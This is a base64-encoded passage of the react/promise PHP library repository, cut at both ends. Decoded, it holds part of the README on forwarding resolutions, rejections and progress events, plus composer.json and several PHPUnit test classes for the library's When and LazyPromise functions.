AvLyBwcmV2aW91cyBoYW5kbGVyLgogICAgICAgIHJldHVybiAkeCArIDE7CiAgICB9KQogICAgLT50aGVuKGZ1bmN0aW9uICgkeCkgewogICAgICAgIC8vICR4ID09PSA0CiAgICAgICAgLy8gVGhpcyBoYW5kbGVyIHJlY2VpdmVzIHRoZSByZXR1cm4gdmFsdWUgb2YgdGhlCiAgICAgICAgLy8gcHJldmlvdXMgaGFuZGxlci4KICAgICAgICBlY2hvICdSZXNvbHZlICcgLiAkeDsKICAgIH0pOwoKJGRlZmVycmVkLT5yZXNvbHZlKDEpOyAvLyBQcmludHMgIlJlc29sdmUgNCIKYGBgCgojIyMjIFJlamVjdGlvbiBmb3J3YXJkaW5nCgpSZWplY3RlZCBQcm9taXNlcyBiZWhhdmUgc2ltaWxhcmx5LCBhbmQgYWxzbyB3b3JrIHNpbWlsYXJseSB0byB0cnkvY2F0Y2g6CldoZW4geW91IGNhdGNoIGFuIGV4Y2VwdGlvbiwgeW91IG11c3QgcmV0aHJvdyBmb3IgaXQgdG8gcHJvcGFnYXRlLgoKU2ltaWxhcmx5LCB3aGVuIHlvdSBoYW5kbGUgYSByZWplY3RlZCBQcm9taXNlLCB0byBwcm9wYWdhdGUgdGhlIHJlamVjdGlvbiwKInJldGhyb3ciIGl0IGJ5IGVpdGhlciByZXR1cm5pbmcgYSByZWplY3RlZCBQcm9taXNlLCBvciBhY3R1YWxseSB0aHJvd2luZwooc2luY2UgUHJvbWlzZSB0cmFuc2xhdGVzIHRocm93biBleGNlcHRpb25zIGludG8gcmVqZWN0aW9ucykKCmBgYCBwaHAKJGRlZmVycmVkID0gbmV3IFJlYWN0XFByb21pc2VcRGVmZXJyZWQoKTsKCiRkZWZlcnJlZC0+cHJvbWlzZSgpCiAgICAtPnRoZW4oZnVuY3Rpb24gKCR4KSB7CiAgICAgICAgdGhyb3cgbmV3IFxFeGNlcHRpb24oJHggKyAxKTsKICAgIH0pCiAgICAtPnRoZW4obnVsbCwgZnVuY3Rpb24gKFxFeGNlcHRpb24gJHgpIHsKICAgICAgICAvLyBQcm9wYWdhdGUgdGhlIHJlamVjdGlvbgogICAgICAgIHRocm93ICR4OwogICAgfSkKICAgIC0+dGhlbihudWxsLCBmdW5jdGlvbiAoXEV4Y2VwdGlvbiAkeCkgewogICAgICAgIC8vIENhbiBhbHNvIHByb3BhZ2F0ZSBieSByZXR1cm5pbmcgYW5vdGhlciByZWplY3Rpb24KICAgICAgICByZXR1cm4gUmVhY3RcUHJvbWlzZVxXaGVuOjpyZWplY3QoKGludGVnZXIpICR4LT5nZXRNZXNzYWdlKCkgKyAxKTsKICAgIH0pCiAgICAtPnRoZW4obnVsbCwgZnVuY3Rpb24gKCR4KSB7CiAgICAgICAgZWNobyAnUmVqZWN0ICcgLiAkeDsgLy8gMwogICAgfSk7CgokZGVmZXJyZWQtPnJlc29sdmUoMSk7ICAvLyBQcmludHMgIlJlamVjdCAzIgpgYGAKCiMjIyMgTWl4ZWQgcmVzb2x1dGlvbiBhbmQgcmVqZWN0aW9uIGZvcndhcmRpbmcKCkp1c3QgbGlrZSB0cnkvY2F0Y2gsIHlvdSBjYW4gY2hvb3NlIHRvIHByb3BhZ2F0ZSBvciBub3QuIE1peGluZyByZXNvbHV0aW9ucyBhbmQKcmVqZWN0aW9ucyB3aWxsIHN0aWxsIGZvcndhcmQgaGFuZGxlciByZXN1bHRzIGluIGEgcHJlZGljdGFibGUgd2F5LgoKYGBgIHBocAokZGVmZXJyZWQgPSBuZXcgUmVhY3RcUHJvbWlzZVxEZWZlcnJlZCgpOwoKJGRlZmVycmVkLT5wcm9taXNlKCkKICAgIC0+dGhlbihmdW5jdGlvbiAoJHgpIHsKICAgICAgICByZXR1cm4gJHggKyAxOwogICAgfSkKICAgIC0+dGhlbihmdW5jdGlvbiAoJHgpIHsKICAgICAgICB0aHJvdyBcRXhjZXB0aW9uKCR4ICsgMSk7CiAgICB9KQogICAgLT50aGVuKG51bGwsIGZ1bmN0aW9uIChcRXhjZXB0aW9uICR4KSB7CiAgICAgICAgLy8gSGFuZGxlIHRoZSByZWplY3Rpb24sIGFuZCBkb24ndCBwcm9wYWdhdGUuCiAgICAgICAgLy8gVGhpcyBpcyBsaWtlIGNhdGNoIHdpdGhvdXQgYSByZXRocm93CiAgICAgICAgcmV0dXJuIChpbnRlZ2VyKSAkeC0+Z2V0TWVzc2FnZSgpICsgMTsKICAgIH0pCiAgICAtPnRoZW4oZnVuY3Rpb24gKCR4KSB7CiAgICAgICAgZWNobyAnTWl4ZWQgJyAuICR4OyAvLyA0CiAgICB9KTsKCiRkZWZlcnJlZC0+cmVzb2x2ZSgxKTsgIC8vIFByaW50cyAiTWl4ZWQgNCIKYGBgCgojIyMjIFByb2dyZXNzIGV2ZW50IGZvcndhcmRpbmcKCkluIHRoZSBzYW1lIHdheSBhcyByZXNvbHV0aW9uIGFuZCByZWplY3Rpb24gaGFuZGxlcnMsIHlvdXIgcHJvZ3Jlc3MgaGFuZGxlcgoqKk1VU1QqKiByZXR1cm4gYSBwcm9ncmVzcyBldmVudCB0byBiZSBwcm9wYWdhdGVkIHRvIHRoZSBuZXh0IGxpbmsgaW4gdGhlIGNoYWluLgpJZiB5b3UgcmV0dXJuIG5vdGhpbmcsIGBudWxsYCB3aWxsIGJlIHByb3BhZ2F0ZWQuCgpBbHNvIGluIHRoZSBzYW1lIHdheSBhcyByZXNvbHV0aW9ucyBhbmQgcmVqZWN0aW9ucywgaWYgeW91IGRvbid0IHJlZ2lzdGVyIGEKcHJvZ3Jlc3MgaGFuZGxlciwgdGhlIHVwZGF0ZSB3aWxsIGJlIHByb3BhZ2F0ZWQgdGhyb3VnaC4KCklmIHlvdXIgcHJvZ3Jlc3MgaGFuZGxlciB0aHJvd3MgYW4gZXhjZXB0aW9uLCB0aGUgZXhjZXB0aW9uIHdpbGwgYmUgcHJvcGFnYXRlZAp0byB0aGUgbmV4dCBsaW5rIGluIHRoZSBjaGFpbi4gVGhlIGJlc3QgdGhpbmcgdG8gZG8gaXMgdG8gZW5zdXJlIHlvdXIgcHJvZ3Jlc3MKaGFuZGxlcnMgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCgpUaGlzIGdpdmVzIHlvdSB0aGUgb3Bwb3J0dW5pdHkgdG8gdHJhbnNmb3JtIHByb2dyZXNzIGV2ZW50cyBhdCBlYWNoIHN0ZXAgaW4gdGhlCmNoYWluIHNvIHRoYXQgdGhleSBhcmUgbWVhbmluZ2Z1bCB0byB0aGUgbmV4dCBzdGVwLiBJdCBhbHNvIGFsbG93cyB5b3UgdG8gY2hvb3NlCm5vdCB0byB0cmFuc2Zvcm0gdGhlbSwgYW5kIHNpbXBseSBsZXQgdGhlbSBwcm9wYWdhdGUgdW50cmFuc2Zvcm1lZCwgYnkgbm90CnJlZ2lzdGVyaW5nIGEgcHJvZ3Jlc3MgaGFuZGxlci4KCmBgYCBwaHAKJGRlZmVycmVkID0gbmV3IFJlYWN0XFByb21pc2VcRGVmZXJyZWQoKTsKCiRkZWZlcnJlZC0+cHJvbWlzZSgpCiAgICAtPnRoZW4obnVsbCwgbnVsbCwgZnVuY3Rpb24gKCR1cGRhdGUpIHsKICAgICAgICByZXR1cm4gJHVwZGF0ZSArIDE7CiAgICB9KQogICAgLT50aGVuKG51bGwsIG51bGwsIGZ1bmN0aW9uICgkdXBkYXRlKSB7CiAgICAgICAgZWNobyAnUHJvZ3Jlc3MgJyAuICR1cGRhdGU7IC8vIDIKICAgIH0pOwoKJGRlZmVycmVkLT5wcm9ncmVzcygxKTsgIC8vIFByaW50cyAiUHJvZ3Jlc3MgMiIKYGBgCgpDcmVkaXRzCi0tLS0tLS0KClJlYWN0L1Byb21pc2UgaXMgYSBwb3J0IG9mIFt3aGVuLmpzXShodHRwczovL2dpdGh1Yi5jb20vY3Vqb2pzL3doZW4pCmJ5IFtCcmlhbiBDYXZhbGllcl0oaHR0cHM6Ly9naXRodWIuY29tL2JyaWFuY2F2YWxpZXIpLgoKQWxzbywgbGFyZ2UgcGFydHMgb2YgdGhlIGRvY3VtZW50YXRpb24gaGF2ZSBiZWVuIHBvcnRlZCBmcm9tIHRoZSB3aGVuLmpzCltXaWtpXShodHRwczovL2dpdGh1Yi5jb20vY3Vqb2pzL3doZW4vd2lraSkgYW5kIHRoZQpbQVBJIGRvY3NdKGh0dHBzOi8vZ2l0aHViLmNvbS9jdWpvanMvd2hlbi9ibG9iL21hc3Rlci9kb2NzL2FwaS5tZCkuCgpMaWNlbnNlCi0tLS0tLS0KClJlYWN0L1Byb21pc2UgaXMgcmVsZWFzZWQgdW5kZXIgdGhlIFtNSVRdKGh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9wcm9taXNlL2Jsb2IvbWFzdGVyL0xJQ0VOU0UpIGxpY2Vuc2UuCnsKICAgICJuYW1lIjogInJlYWN0L3Byb21pc2UiLAogICAgImRlc2NyaXB0aW9uIjogIkEgbGlnaHR3ZWlnaHQgaW1wbGVtZW50YXRpb24gb2YgQ29tbW9uSlMgUHJvbWlzZXMvQSBmb3IgUEhQIiwKICAgICJsaWNlbnNlIjogIk1JVCIsCiAgICAiYXV0aG9ycyI6IFsKICAgICAgICB7Im5hbWUiOiAiSmFuIFNvcmdhbGxhIiwgImVtYWlsIjogImpzb3JnYWxsYUBnb29nbGVtYWlsLmNvbSJ9CiAgICBdLAogICAgInJlcXVpcmUiOiB7CiAgICAgICAgInBocCI6ICI+PTUuMy4zIgogICAgfSwKICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICJSZWFjdFxcUHJvbWlzZSI6ICJzcmMvIgogICAgICAgIH0KICAgIH0sCiAgICAiZXh0cmEiOiB7CiAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMS4wLWRldiIKICAgICAgICB9CiAgICB9Cn0KPD9waHAKCiRsb2FkZXIgPSByZXF1aXJlIF9fRElSX18uJy8uLi92ZW5kb3IvYXV0b2xvYWQucGhwJzsKJGxvYWRlci0+YWRkKCdSZWFjdFxQcm9taXNlJywgX19ESVJfXyk7Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCi8qKgogKiBAZ3JvdXAgV2hlbgogKiBAZ3JvdXAgV2hlbkFsbAogKi8KY2xhc3MgV2hlbkFsbFRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXNvbHZlRW1wdHlJbnB1dCgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oYXJyYXkoKSkpOwoKICAgICAgICBXaGVuOjphbGwoYXJyYXkoKSwgJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlc29sdmVWYWx1ZXNBcnJheSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oYXJyYXkoMSwgMiwgMykpKTsKCiAgICAgICAgV2hlbjo6YWxsKAogICAgICAgICAgICBhcnJheSgxLCAyLCAzKSwKICAgICAgICAgICAgJG1vY2sKICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlc29sdmVQcm9taXNlc0FycmF5KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgxLCAyLCAzKSkpOwoKICAgICAgICBXaGVuOjphbGwoCiAgICAgICAgICAgIGFycmF5KFdoZW46OnJlc29sdmUoMSksIFdoZW46OnJlc29sdmUoMiksIFdoZW46OnJlc29sdmUoMykpLAogICAgICAgICAgICAkbW9jawogICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZVNwYXJzZUFycmF5SW5wdXQoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKGFycmF5KG51bGwsIDEsIG51bGwsIDEsIDEpKSk7CgogICAgICAgIFdoZW46OmFsbCgKICAgICAgICAgICAgYXJyYXkobnVsbCwgMSwgbnVsbCwgMSwgMSksCiAgICAgICAgICAgICRtb2NrCiAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZWplY3RJZkFueUlucHV0UHJvbWlzZVJlamVjdHMoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDIpKTsKCiAgICAgICAgV2hlbjo6YWxsKAogICAgICAgICAgICBhcnJheShXaGVuOjpyZXNvbHZlKDEpLCBXaGVuOjpyZWplY3QoMiksIFdoZW46OnJlc29sdmUoMykpLAogICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAkbW9jawogICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkQWNjZXB0QVByb21pc2VGb3JBbkFycmF5KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgxLCAyLCAzKSkpOwoKICAgICAgICBXaGVuOjphbGwoCiAgICAgICAgICAgIFdoZW46OnJlc29sdmUoYXJyYXkoMSwgMiwgMykpLAogICAgICAgICAgICAkbW9jawogICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZVRvRW1wdHlBcnJheVdoZW5JbnB1dFByb21pc2VEb2VzTm90UmVzb2x2ZVRvQXJyYXkoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKGFycmF5KCkpKTsKCiAgICAgICAgV2hlbjo6YWxsKAogICAgICAgICAgICBXaGVuOjpyZXNvbHZlKDEpLAogICAgICAgICAgICAkbW9jawogICAgICAgICk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKLyoqCiAqIEBncm91cCBXaGVuCiAqIEBncm91cCBXaGVuUmVqZWN0CiAqLwpjbGFzcyBXaGVuUmVqZWN0VGVzdCBleHRlbmRzIFRlc3RDYXNlCnsKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlamVjdEFuSW1tZWRpYXRlVmFsdWUoKQogICAgewogICAgICAgICRleHBlY3RlZCA9IDEyMzsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJGV4cGVjdGVkKSk7CgogICAgICAgIFdoZW46OnJlamVjdCgkZXhwZWN0ZWQpCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jawogICAgICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlamVjdEFSZXNvbHZlZFByb21pc2UoKQogICAgewogICAgICAgICRleHBlY3RlZCA9IDEyMzsKCiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZC0+cmVzb2x2ZSgkZXhwZWN0ZWQpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygkZXhwZWN0ZWQpKTsKCiAgICAgICAgV2hlbjo6cmVqZWN0KCRkLT5wcm9taXNlKCkpCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jawogICAgICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlamVjdEFSZWplY3RlZFByb21pc2UoKQogICAgewogICAgICAgICRleHBlY3RlZCA9IDEyMzsKCiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZC0+cmVqZWN0KCRleHBlY3RlZCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKCRleHBlY3RlZCkpOwoKICAgICAgICBXaGVuOjpyZWplY3QoJGQtPnByb21pc2UoKSkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICRtb2NrCiAgICAgICAgICAgICk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKLyoqCiAqIEBncm91cCBQcm9taXNlCiAqIEBncm91cCBMYXp5UHJvbWlzZQogKi8KY2xhc3MgTGF6eVByb21pc2VUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkTm90Q2FsbEZhY3RvcnlJZlRoZW5Jc05vdEludm9rZWQoKQogICAgewogICAgICAgICRmYWN0b3J5ID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRmYWN0b3J5CiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+bmV2ZXIoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJyk7CgogICAgICAgIG5ldyBMYXp5UHJvbWlzZSgkZmFjdG9yeSk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkQ2FsbEZhY3RvcnlJZlRoZW5Jc0ludm9rZWQoKQogICAgewogICAgICAgICRmYWN0b3J5ID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRmYWN0b3J5CiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKTsKCiAgICAgICAgJHAgPSBuZXcgTGF6eVByb21pc2UoJGZhY3RvcnkpOwogICAgICAgICRwLT50aGVuKCk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuUHJvbWlzZUZyb21GYWN0b3J5KCkKICAgIHsKICAgICAgICAkZmFjdG9yeSA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkZmFjdG9yeQogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aWxsKCR0aGlzLT5yZXR1cm5WYWx1ZShuZXcgRnVsZmlsbGVkUHJvbWlzZSgxKSkpOwoKICAgICAgICAkZnVsZmlsbGVkSGFuZGxlciA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkZnVsZmlsbGVkSGFuZGxlcgogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygxKSk7CgogICAgICAgICRwID0gbmV3IExhenlQcm9taXNlKCRmYWN0b3J5KTsKCiAgICAgICAgJHAtPnRoZW4oJGZ1bGZpbGxlZEhhbmRsZXIpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJldHVyblByb21pc2VJZkZhY3RvcnlSZXR1cm5zTnVsbCgpCiAgICB7CiAgICAgICAgJGZhY3RvcnkgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJGZhY3RvcnkKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2lsbCgkdGhpcy0+cmV0dXJuVmFsdWUobnVsbCkpOwoKICAgICAgICAkcCA9IG5ldyBMYXp5UHJvbWlzZSgkZmFjdG9yeSk7CiAgICAgICAgJHRoaXMtPmFzc2VydEluc3RhbmNlT2YoJ1JlYWN0XFxQcm9taXNlXFxQcm9taXNlSW50ZXJmYWNlJywgJHAtPnRoZW4oKSk7CiAgICB9CiAgICAKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJldHVyblJlamVjdGVkUHJvbWlzZUlmRmFjdG9yeVRocm93c0V4Y2VwdGlvbigpCiAgICB7CiAgICAgICAgJGV4Y2VwdGlvbiA9IG5ldyBcRXhjZXB0aW9uKCk7CiAgICAgICAgCiAgICAgICAgJGZhY3RvcnkgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJGZhY3RvcnkKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2lsbCgkdGhpcy0+dGhyb3dFeGNlcHRpb24oJGV4Y2VwdGlvbikpOwoKICAgICAgICAkZXJyb3JIYW5kbGVyID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRlcnJvckhhbmRsZXIKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJGV4Y2VwdGlvbikpOwoKICAgICAgICAkcCA9IG5ldyBMYXp5UHJvbWlzZSgkZmFjdG9yeSk7CgogICAgICAgICRwLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICRlcnJvckhhbmRsZXIpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCmNsYXNzIEVycm9yQ29sbGVjdG9yCnsKICAgIHByaXZhdGUgJGVycm9ycyA9IGFycmF5KCk7CgogICAgcHVibGljIGZ1bmN0aW9uIHJlZ2lzdGVyKCkKICAgIHsKICAgICAgICAkZXJyb3JzID0gYXJyYXkoKTsKCiAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoZnVuY3Rpb24gKCRlcnJubywgJGVycnN0ciwgJGVycmZpbGUsICRlcnJsaW5lLCAkZXJyY29udGV4dCkgdXNlICgmJGVycm9ycykgewogICAgICAgICAgICAkZXJyb3JzW10gPSBjb21wYWN0KCdlcnJubycsICdlcnJzdHInLCAnZXJyZmlsZScsICdlcnJsaW5lJywgJ2VycmNvbnRleHQnKTsKICAgICAgICB9KTsKCiAgICAgICAgJHRoaXMtPmVycm9ycyA9ICYkZXJyb3JzOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB1bnJlZ2lzdGVyKCkKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JzID0gYXJyYXkoKTsKICAgICAgICByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gYXNzZXJ0Q29sbGVjdGVkRXJyb3IoJGVycnN0ciwgJGVycm5vKQogICAgewogICAgICAgIGZvcmVhY2ggKCR0aGlzLT5lcnJvcnMgYXMgJGVycm9yKSB7CiAgICAgICAgICAgIGlmICgkZXJyb3JbJ2VycnN0ciddID09PSAkZXJyc3RyICYmICRlcnJvclsnZXJybm8nXSA9PT0gJGVycm5vKSB7CiAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICRtZXNzYWdlID0gJ0Vycm9yIHdpdGggbGV2ZWwgJyAuICRlcnJubyAuICcgYW5kIG1lc3NhZ2UgIicgLiAkZXJyc3RyIC4gJyIgbm90IGZvdW5kIGluICcgLiB2YXJfZXhwb3J0KCR0aGlzLT5lcnJvcnMsIHRydWUpOwoKICAgICAgICB0aHJvdyBuZXcgXFBIUFVuaXRfRnJhbWV3b3JrX0Fzc2VydGlvbkZhaWxlZEVycm9yKCRtZXNzYWdlKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIFdoZW4KICogQGdyb3VwIFdoZW5SZWR1Y2UKICovCmNsYXNzIFdoZW5SZWR1Y2VUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHBsdXMoKQogICAgewogICAgICAgIHJldHVybiBmdW5jdGlvbiAoJHN1bSwgJHZhbCkgewogICAgICAgICAgICByZXR1cm4gJHN1bSArICR2YWw7CiAgICAgICAgfTsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXBwZW5kKCkKICAgIHsKICAgICAgICByZXR1cm4gZnVuY3Rpb24gKCRzdW0sICR2YWwpIHsKICAgICAgICAgICAgcmV0dXJuICRzdW0gLiAkdmFsOwogICAgICAgIH07CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVkdWNlVmFsdWVzV2l0aG91dEluaXRpYWxWYWx1ZSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oNikpOwoKICAgICAgICBXaGVuOjpyZWR1Y2UoCiAgICAgICAgICAgIGFycmF5KDEsIDIsIDMpLAogICAgICAgICAgICAkdGhpcy0+cGx1cygpCiAgICAgICAgKS0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb